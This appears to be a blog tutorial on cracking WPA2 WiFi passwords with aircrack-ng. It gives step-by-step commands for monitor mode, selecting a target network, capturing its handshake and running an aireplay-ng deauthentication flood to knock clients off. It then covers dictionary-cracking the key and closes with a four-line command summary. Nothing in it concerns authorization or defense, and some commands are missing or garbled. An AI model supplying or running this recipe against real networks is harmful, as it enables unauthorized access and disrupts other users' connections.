Cracking WPA2 wifi password is not really an easy thing to do,
no you can’t just crack it with a click and there is no software that will give you the password without some hard work …
don’t run away still, you can crack it with few steps we will learn How to crack wpa2 🙂 and we will do it using aircrack-ng
for an easy and fast way to crack WiFi password check this video
How to use wifite on Kali Linux
Requirements: To crack a wpa2-psk encrypted wifi password using aircrack-ng
1- Kali Linux or any Linux system with aircrack-ng installed
a- if you don’t have aircrack-ng suite get it by this command in terminal
sudo apt-get install aircrack-ng
3- a word list comprising of all the possible different combination of pass-phrases
Step 1: open up your terminal as root and type
This will show you all the networking interfaces connected to your device.
if your wireless network adapter is working fine you should see the ” wlan0 ” the name may change if you have more then one connected wireless adapter.
Step 2: now to start monitor mode type
airmon-ng start wlan0
‘airmon-ng’ is a traffic monitoring tool
‘wlan0’ is your wireless interface
after this commend, we started the monitor mode
as you can see the monitor mode is working under wlan0mon , so this is your card name for now
in the red area, a list of process id’s that cause trouble during the process so kill those processes by typing kill and the number of the processes after it like this
kill 743 898 1070 1071 1081
now type ifconfig and this will show the newly set monitoring interface i.e, wlan0mon . in most case it’s mon0 .
Step 3: To show the list of available WiFi network type
airodump-ng is a wifi packet capturing tool
wlan0mon is my monitoring interface
airodump-ng will start capturing all packets and from the captured packets
select your target and note its ‘bssid’ (bssid = base service set identifier) and channel
then stop the capture using “cntrl+c“.
Step 4: Start capturing the packets of your target network
type the following command: airodump-ng -c -w –bssid wlan0mon
airodump-ng -c 2 -w wifi --bssid C0:4A:00:F0:F4:24 wlan0mon
This will start the capturing of packets.
and if you get the handshake you won’t need the aireplay command…
if you don’t get the handshake yet
while the capturing of packets goes on, open a new terminal as root and type
aireplay-ng -0 0 -a mon0
aireplay-ng = tool for deauthentication, fake authentication and other packet injections,
-0 = number associated for deauthentication,
0 = deauth count,
-a = bssid) here we are trying to send a deauthentication request.
In my case the command looks like
aireplay-ng -0 0 -a C0:4A:00:F0:F4:24 wlan0mon
after a few seconds stop it using cntrl+c.
now after we have successfully captured the WPA handshake
Step 5: Stop handshake capturing
Stop the capturing using cntrl+c and type “ls” that would bring up all the current directories and files.
Select the file with “.cap“extension and type the following command
aircrack-ng is a tool that helps in cracking the password
In my case the command looks like
aircrack-ng -w /usr/share/wordlists/more_than_8.txt ********-01.cap
For the Wordlist Check this Post Best Password dictionary
Now it starts finding suitable passphrase.
Now all you have to do is wait till you see ( KEY Found ( your key is here 😉 ).
All Step in few lines
- airodump-ng wlan0mon
- airodump-ng -c 9 -w wifi –bssid C4:6E:1F:F6:34:B8 wlan0mon
- aireplay-ng -0 0 -a C4:6E:1F:F6:34:B8 wlan0mon
- aircrack-ng -w /usr/share/wordlists/more_than_8.txt wifi-01.cap
so we learned how to crack WPA2 but keep in mind The most important part in all of this is your wifi adapter so make sure you have aircrack compatible wifi adapters